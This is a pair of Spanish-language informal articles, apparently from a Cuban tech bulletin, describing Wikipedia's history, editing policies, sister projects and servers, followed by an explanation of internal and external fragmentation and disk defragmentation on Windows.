Por esta razón es que me he dedicado a escribir un artículo sobre ella. El proyecto comenzó el 15 de enero de 2001, fundada por Jimbo Wales y Larry Sanger como complemento de la enciclopedia escrita por expertos Nupedia. Wikipedia tiene más de 5.385.000 artículos, incluyendo más de 1.778.383 en su edición en inglés, y a finales de febrero de 2006 alcanzó la cifra de 1.000.000 de usuarios registrados. Existe, sin embargo, controversia sobre su fiabilidad, hay que reconocer que no se puede dar como un hecho todo lo que aquí leemos debido a que puede ser un artículo aún no revisado o contener un error no corregido, pero fuera de esto es una fuente bastante fidedigna que abarca tantos puntos de vistas como puede acerca de un tema.

Catorce ediciones superan los 100.000 artículos: inglés, alemán, francés, japonés, polaco, italiano, sueco, holandés, portugués, español, chino, ruso, finés y noruego.

Wikipedia, como todos conocemos la enciclopedia devino su nombre por la unión de:

Wiki, que proviene de wiki wiki, rápido en hawaiano y pedia, que proviene de paideia, educación en griego clásico.

El crecimiento de Wikipedia ha sido aproximadamente exponencial en varias de las ediciones con mayor número de artículos. Es desarrollada en el sitio web Wikipedia.org haciendo uso de un software wiki, término originalmente usado para el WikiWikiWeb.

Existen tres características esenciales del proyecto Wikipedia que definen conjuntamente su función en la web:

1. Es una enciclopedia, entendida como soporte que permite la recopilación, el almacenamiento y la transmisión de la información de forma estructurada.

2. Es un wiki, por lo que, con pequeñas excepciones, puede ser editada por cualquiera.

3. Es de contenido abierto y utiliza la licencia GFDL.

Existen o han existido muchos otros proyectos de enciclopedia en Internet, sin embargo ninguno ha contado con el éxito de Wikipedia.

Los artículos son escritos por numerosos autores y no existe un criterio de revisión formal, lo que la hace “wiki”, y lo mejor no es eso sino que su contenido se libera bajo la licencia GFDL.

Como es de suponer en un artículo pueden haber disputas sobre añadir, revisar, o borrar artículos, para esas situaciones Wikipedia dispone de un conjunto de políticas que decide qué información se debe incluir o no.

Cada edición trabaja de forma independiente a la otra, y no están obligadas a poseer el contenido de ediciones en otros idiomas (aunque en algunos casos se solicita la traducción de artículos), pero en común deben poseer cosas tales como:

Respetar políticas globales (mantener un «punto de vista neutral»).

Hay algunas cosas que varían de un idioma a otro como es la posibilidad de crear un artículo nuevo. En la edición en español cualquier persona tiene la posibilidad de crear un artículo nuevo y casi cualquier visitante puede editar el contenido, a excepción de los artículos que se encuentren protegidos. Sin embargo, en la inglesa los usuarios no registrados no pueden comenzar artículos desde cero. La idea de este tipo de edición de artículos es con la idea de que con el tiempo y la colaboración de los usuarios se logre obtener artículos de mejor calidad, algo semejante a lo que pasa con el software libre.

Pese a la existencia de las políticas para regular las guerras de ediciones y vandalismos no es menos cierto que siguen ocurriendo. Pero debemos tener claro en que radican las diferencias. Una guerra de ediciones se produce cuando dos o más editores entran en un ciclo de reversiones mutuas debido a disputas causadas por diferencias de opinión sobre el contenido del artículo. No hay que confundir vandalismo (que frecuentemente afecta una sola vez a un artículo o artículos) con guerra de ediciones, la cual repercute sobre un mismo artículo en un breve lapso. Entre los artículos vandalizados frecuentemente (en la edición en español) destacan: George Walker Bush (caramba, disculpen mi incultura en el tema, pero aquí me acabo de enterar cual es el significado de la “W” de W. Bush), Benedicto XVI o Testigos de Jehová; mientras que artículos con fuertes guerras de ediciones son Cuba o Comunidad Valenciana, debido a la disparidad entre las opiniones de sus redactores.

Wikipedia en español existe desde mayo de 2001, y cuenta actualmente con 240.620 artículos, lo que la sitúa entre las diez mayores Wikipedias.

Wikipedia tiene una serie de políticas que son establecidas por los propios participantes en el proyecto. Una vez que la comunidad logra el consenso sobre la aplicación de una norma, todos los editores están obligados a respetarla.

Algunas de estas políticas son:

1. Debido a la diversidad y número de participantes e ideologías, provenientes de todas partes del mundo, Wikipedia intenta construir sus artículos de la forma más exhaustiva posible. El objetivo no es escribir artículos desde un único punto de vista, sino presentar abiertamente cada postura sobre un determinado tema.

2. Se siguen un número de convenciones con respecto al nombramiento de artículos, optando preferentemente por la versión más comúnmente utilizada en su respectiva lengua.

3. Las discusiones acerca del contenido y edición de un artículo ocurren en las páginas de discusión y no sobre el artículo mismo.

4. Existen un número de temas que resultan excluidos de Wikipedia por no constituir artículos enciclopédicos estrictamente hablando. Por ejemplo, Wikipedia no contiene definiciones de diccionario (como verbos, adjetivos, etc.), que pueden encontrarse en el Wikcionario.

Es importante saber y conocer que nadie es dueño de ningún artículo expuesto en Wikipedia.

Un factor relativo a las problemáticas de contenido que experimenta Wikipedia como decíamos más arriba es el vandalismo (modificaciones inapropiadas u ofensivas a los artículos de la enciclopedia, que entorpecen el desarrollo del proyecto), cuya solución a largo plazo no pasa (como sucede otros casos) por una mejora constante de la calidad y por la incorporación o ampliación progresiva de artículos. En estos momentos existe casi tanto vandalismo como incorporación y ampliación de artículos.

Wikipedia está siendo editada por miles de personas alrededor del mundo. Las personas que editan Wikipedia son conocidas como wikipedistas, sus colaboradores actúan siempre de manera voluntaria. Hay diversas formas de colaborar además de crear o ampliar artículos, se pueden aplicar las convenciones de estilo establecidas a aquellos artículos que no las tengan, clasificarlos por materia, corregir faltas ortográficas, retirar textos con copyright, etc.

Para colaborar no es necesario registrarse aunque a los usuarios que no lo hacen se les restringe ciertas acciones. Algunos colaboradores tienen la capacidad de llevar a cabo algunas operaciones extra, como el borrado de artículos, el bloqueo de páginas, etc. Sin embargo, estos usuarios, denominados en la edición en español bibliotecarios, no tienen capacidad de decisión mayor que la de cualquier otro wikipedista y sus acciones se deben ajustar a las políticas adoptadas por toda la comunidad.

Como en los canales IRC (para aquellos que recuerdan los tiempos de gloria del chateo en la capital) en Wikipedia se utilizan bots para la realización de ciertas tareas que pueden resultar tediosas para los editores, como la creación de enlaces entre las distintas ediciones de la enciclopedia, la corrección de faltas ortográficas, etc. Algunas ediciones de Wikipedia utilizan también bots para la creación masiva de artículos, normalmente esbozos.

Los usuarios denominados checkusers pueden rastrear una dirección IP para verificar identidades y los "burócratas" tienen permisos para otorgar estatus de administrador, controlar los bots y cambiar nombres de usuario.

Al día de hoy, en la edición en español hay registrados 396.179 usuarios (no necesariamente colaboradores activos), de los cuales un total de 94 usuarios son bibliotecarios y 62, bots propios y automáticos de mantenimiento.

Creo que debemos reconocer la poca influencia que tenemos sobre la enciclopedia, aunque estemos entre las 10 primeras lenguas, para ser más exacto la 9na, es bastante triste estar por debajo de idiomas como el italiano y el Polaco. Pero también hay que darse cuenta que casi todos los de habla hispana prefieren publicar en inglés (¿por qué será? ;-D).

Wikipedia tiene varios proyectos hermanos que complementan a la enciclopedia. Todos ellos son multilingües, libres, apoyados en la tecnología wiki y administrados por la Fundación Wikimedia. Incluyen los siguientes (vamos a omitir la ya conocida Wikipedia):

· Wikcionario: es el proyecto de la Fundación Wikimedia para la construcción de un diccionario libre. Tiene una función complementaria a Wikipedia, ya que un gran número de artículos por su carácter no enciclopédico se destinan al diccionario.

· Wikilibros: tiene por objetivo poner a la disposición de cualquier persona libros de texto, manuales, tutoriales u otros textos pedagógicos de contenido libre y de acceso gratuito.

· Wikiversidad: apoyada en el anterior, se propone como una plataforma educativa online libre y gratuita, donde es posible crear proyectos de aprendizaje a cualquier nivel educativo, participar en un grupo de aprendizaje, crear contenidos didácticos tales como exámenes, ejercicios de prácticas, etc.

· Wikiquote: es un compendio abierto en línea de frases célebres en todos los idiomas, incluyendo las fuentes (cuando éstas se conocen).

· Wikinoticias: es una fuente de noticias de contenido libre.

· Wikisource: es una biblioteca en línea de textos originales que hayan sido publicados con una licencia GFDL o se encuentren en dominio público.

· Wikimedia Commons: también recibe los nombres de Commons o La Comuna, es un depósito común de imágenes y contenido multimedia para los proyectos hermanos de la Fundación Wikimedia. Antes de su existencia para usar una imagen en una cierta Wikipedia había que subirla a la edición de ésta, con lo que se clonaba el mismo contenido varias veces, algo realmente ineficiente. Para ello se usaban scripts de subida masiva, que ahora han caído en desuso por la existencia de Commons.

· Meta-Wiki: es un sitio web de apoyo para los proyectos de la Fundación Wikimedia.

· Wikiespecies: es un repertorio abierto y libre de especies biológicas. Se cubren animales, plantas, hongos, bacterias, unicelulares y toda forma de vida.

Desde Infomed solo son accesibles: Wikimedia Commons, Wikilibros, Wikiespecies, Meta-Wiki.

Wikipedia recibe entre 10.000 y 30.000 peticiones de páginas por segundo, dependiendo de la hora del día. Más de 200 servidores soportan el tráfico.

Wikipedia se ejecuta sobre el software libre Mediawiki en un cluster de servidores situados en Florida y en tres lugares más en el mundo: 202 máquinas en Florida, 3 cerca de París, 11 en Ámsterdam y 23 en las instalaciones coreanas de Yahoo!.

Imagen de Wikipedia en japonés

El impacto en el mundo principalmente a través de Internet (digo principalmente porque en algunos lugares como la facultad de Matemática-Computación de La Universidad de La Habana se ha descargado la Enciclopedia en inglés y español) que ha tenido Wikipedia ha provocado la aparición de sitios de carácter cómico que la parodian. En inglés existe Uncyclopedia y Encyclopædia Dramatica, en español existe la Frikipedia y recientemente Inciclopedia. El artículo sobre Wikipedia comienza así:

La Wikipedia es una burda imitación de la presente Inciclopedia. Sus autores intentaron hacerla seria, pero cometieron errores tan graves como afirmar que la Tierra gira alrededor del Sol y poner en duda que éste esté hecho de chili. Osan afirmar también que la Luna no está hecha de queso.

También se han hecho viñetas humorísticas, en una de ellas aparece Skeletor vandalizando el artículo de He-Man.

Se han producido varios casos en los que los propios políticos, o personas próximas a ellos, modifican artículos interesadamente.

Desfragmentación

Seguro muchos de nosotros alguna vez hemos liado con la desfragmentación del disco duro, memoria RAM o hemos oído hablar de ello. Pues bien, esa fue la idea al escribir este documento; informarnos más acerca de cómo funciona, y espero que sea el primero de una serie de artículos relacionados con el manejo de archivos (principalmente Windows) en disco duro y memoria.

Saltar a navegación, búsqueda

La fragmentación es un problema que surge debido al ordenamiento interno de los datos en algunos sistemas de archivos. Se da muy comúnmente en el sistema operativo Windows aunque también afecta a otras plataformas pero en una escala mucho menor. También se produce fragmentación dentro de la memoria de la computadora (memoria RAM) cuando se asignan los procesos a los diferentes bloques de memoria. Existen dos tipos de fragmentación: interna y externa.

Tipos de fragmentación

Fragmentación interna

Los discos duros tienen un tamaño mínimo de bloque, este es llamado clúster. Este tamaño varía según el sistema de archivos y el tamaño total de la partición. Por eso se sugiere no disponer de un gran tamaño de partición en los discos nuevos donde la capacidad es muy importante (acerca del tamaño será tocado en otro artículo más adelante). Por ejemplo, si nuestro cluster es de 16KB (16.384 bytes) por más que un archivo ocupe menos, en nuestro disco ocupara 16k. Esto sugiere una pérdida de ese espacio que dice utilizar pero no utiliza. Por eso, en nuestro ejemplo, un archivo de 3KB ocupara en nuestro disco lo mismo que uno de 10KB, o sea 16 KB. Esa pérdida de espacio se denomina fragmentación interna, y no se corrige con el desfragmentador, sino disminuyendo el tamaño de la partición.

Fragmentación externa

Este tipo de fragmentación aparece como consecuencia de las distintas políticas de ajuste de bloques que tiene un sistema de ficheros, o al utilizar asignaciones dinámicas de bloques en el caso de la memoria. En el sistema de ficheros, la sucesiva creación y eliminación de ficheros de distintos tamaños puede conducir al aislamiento de los bloques libres de un disco y, dependiendo de la política de ajuste, su no elección para futuros ficheros. En la memoria del sistema la fragmentación se produce cuando los procesos asignados han ocupado posiciones no contiguas de memoria dejando demasiados bloques libres de pequeño tamaño, en los que no "caben" nuevos procesos.

En sistemas de ficheros la desfragmentación trata de resolver este problema, alineando los bloques de datos contiguos y juntando los bloques libres, produciendo así fragmentos mayores que sí serán elegidos para futuros ficheros. En la memoria principal se soluciona compactando los procesos para que estos ocupen posiciones contiguas y dejar los bloques libres juntos, ó también se soluciona con la paginación de memoria (este es otro tema que pienso tomar más adelante).

Desfragmentación

Este proceso consta de ordenar los trozos de información distribuida a través de todo el disco, para mejorar la velocidad de acceso y distribuir de mejor forma el espacio libre del dispositivo. Como este proceso consta en la reorganización de partes de archivos, requiere de suficiente memoria para realizar los movimientos de los trozos de información. Al mover en forma física la información, la estructura lógica no sufre alteraciones.

Aspectos de la desfragmentación

En Windows la presencia de archivos inmovibles del sistema, o que el desfragmentador no moverá para simplificar su tarea (sobre todo con el archivo de intercambio, o swap file), puede impedir un buen porcentaje de desfragmentación en el disco.

Ciertos sistemas de archivos son más susceptibles a cambios por desfragmentación que otros. Por ejemplo, una partición del tipo FAT se fragmenta más rápido que una de partición del tipo NTFS, ambos propios del sistema Windows. Todo lo contrario ocurre en muchos sistemas de archivos del tipo Unix que no requieren desfragmentaciones en general, debido a que buscan que la fragmentación se mantenga en un punto donde no sea necesario desfragmentar mediante el uso de nodos de posición.

Utilidades

Los programas de desfragmentación, por lo general, vienen incorporados al sistema operativo (excepto en Windows NT 4). También existen aplicaciones externas, los cuales poseen opciones más avanzadas que los propuestos por los fabricantes del sistema operativo.

El desfragmentador más conocido es el DEFRAG, que es usado en MS-DOS y en las plataformas de Windows. Puede ser encontrado en las versiones de Windows en Inicio -> Programas -> Accesorios -> Herramientas de Sistema.